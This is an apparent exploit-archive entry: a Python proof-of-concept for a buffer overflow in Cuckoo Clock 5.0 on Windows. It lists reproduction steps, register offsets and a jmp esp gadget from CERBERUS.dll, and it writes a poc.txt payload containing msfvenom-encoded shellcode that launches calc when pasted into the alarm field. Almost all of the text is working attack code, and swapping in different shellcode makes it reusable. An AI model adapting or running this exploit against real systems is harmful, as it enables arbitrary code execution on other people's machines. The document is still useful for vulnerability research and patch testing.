Cuckoo Clock v5.0 – Buffer Overflow
# Exploit Title: Cuckoo Clock 5.0 - Buffer Overflow # Exploit Author: boku # Date: 2020-02-14 # Vendor Homepage: https://en.softonic.com/author/pxcompany # Software Link: https://en.softonic.com/download/parallaxis-cuckoo-clock/windows/post-download # Version: 5.0 # Tested On: Windows 10 (32-bit) # # Recreate: # 1) Install & Open Cuckoo Clock v5.0 # 2) Right Click app icon (bottom right), click Alarms # 3) Click the Add Button # 4) Run Python script # 5) Open generated poc.txt, then select-all & copy-all # 6) Under Schedule, select-all in 'New Alarm' textbox, then paste buffer # 7) Press Back Button and shellcode will execute # EIP Overwrite at 260 Bytes # Max Buffer space is 1287 bytes # ESP points to payload at offset 264 bytes # EBP overwrite at 256 bytes # badChars = '\x00\x0d' try: ebpOffset = '\x41'*256 ebp = '\x42\x42\x42\x42' eip = '\x16\x05\x03\x10' # 0x10030516 : jmp esp | ascii {PAGE_EXECUTE_READWRITE} [CERBERUS.dll] # ASLR: False, Rebase: False, SafeSEH: False (C:\Program Files\Parallaxis Cuckoo Clock\CERBERUS.dll) # ESP points to payload at offset 264 bytes # 1019 bytes = Remaining Buffer Length fixStack = '\x89\xE5' # mov ebp,esp fixStack += '\x83\xEC\x30' # sub esp,byte +0x30 # root@kali# msfvenom -p windows/exec CMD=calc -b '\x00\x0d' -f python -v shellcode # x86/shikata_ga_nai chosen with final size 216 shellcode = b"" shellcode += b"\xdd\xc3\xbb\x9a\x4d\x57\xfa\xd9\x74\x24\xf4" shellcode += b"\x58\x33\xc9\xb1\x30\x83\xe8\xfc\x31\x58\x14" shellcode += b"\x03\x58\x8e\xaf\xa2\x06\x46\xad\x4d\xf7\x96" shellcode += b"\xd2\xc4\x12\xa7\xd2\xb3\x57\x97\xe2\xb0\x3a" shellcode += b"\x1b\x88\x95\xae\xa8\xfc\x31\xc0\x19\x4a\x64" shellcode += b"\xef\x9a\xe7\x54\x6e\x18\xfa\x88\x50\x21\x35" shellcode += b"\xdd\x91\x66\x28\x2c\xc3\x3f\x26\x83\xf4\x34" shellcode += b"\x72\x18\x7e\x06\x92\x18\x63\xde\x95\x09\x32" shellcode += b"\x55\xcc\x89\xb4\xba\x64\x80\xae\xdf\x41\x5a" shellcode += b"\x44\x2b\x3d\x5d\x8c\x62\xbe\xf2\xf1\x4b\x4d" shellcode += b"\x0a\x35\x6b\xae\x79\x4f\x88\x53\x7a\x94\xf3" shellcode += b"\x8f\x0f\x0f\x53\x5b\xb7\xeb\x62\x88\x2e\x7f" shellcode += b"\x68\x65\x24\x27\x6c\x78\xe9\x53\x88\xf1\x0c" shellcode += b"\xb4\x19\x41\x2b\x10\x42\x11\x52\x01\x2e\xf4" shellcode += b"\x6b\x51\x91\xa9\xc9\x19\x3f\xbd\x63\x40\x55" shellcode += b"\x40\xf1\xfe\x1b\x42\x09\x01\x0b\x2b\x38\x8a" shellcode += b"\xc4\x2c\xc5\x59\xa1\xc3\x8f\xc0\x83\x4b\x56" shellcode += b"\x91\x96\x11\x69\x4f\xd4\x2f\xea\x7a\xa4\xcb" shellcode += b"\xf2\x0e\xa1\x90\xb4\xe3\xdb\x89\x50\x04\x48" shellcode += b"\xa9\x70\x67\x0f\x39\x18\x68" Remainder = '\x46'*(1287-len(ebpOffset+ebp+eip+fixStack+shellcode)) payload = ebpOffset+ebp+eip+fixStack+shellcode+Remainder File = 'poc.txt' f = open(File, 'w') f.write(payload) f.close() print File + " created successfully" except: print File + ' failed to create' |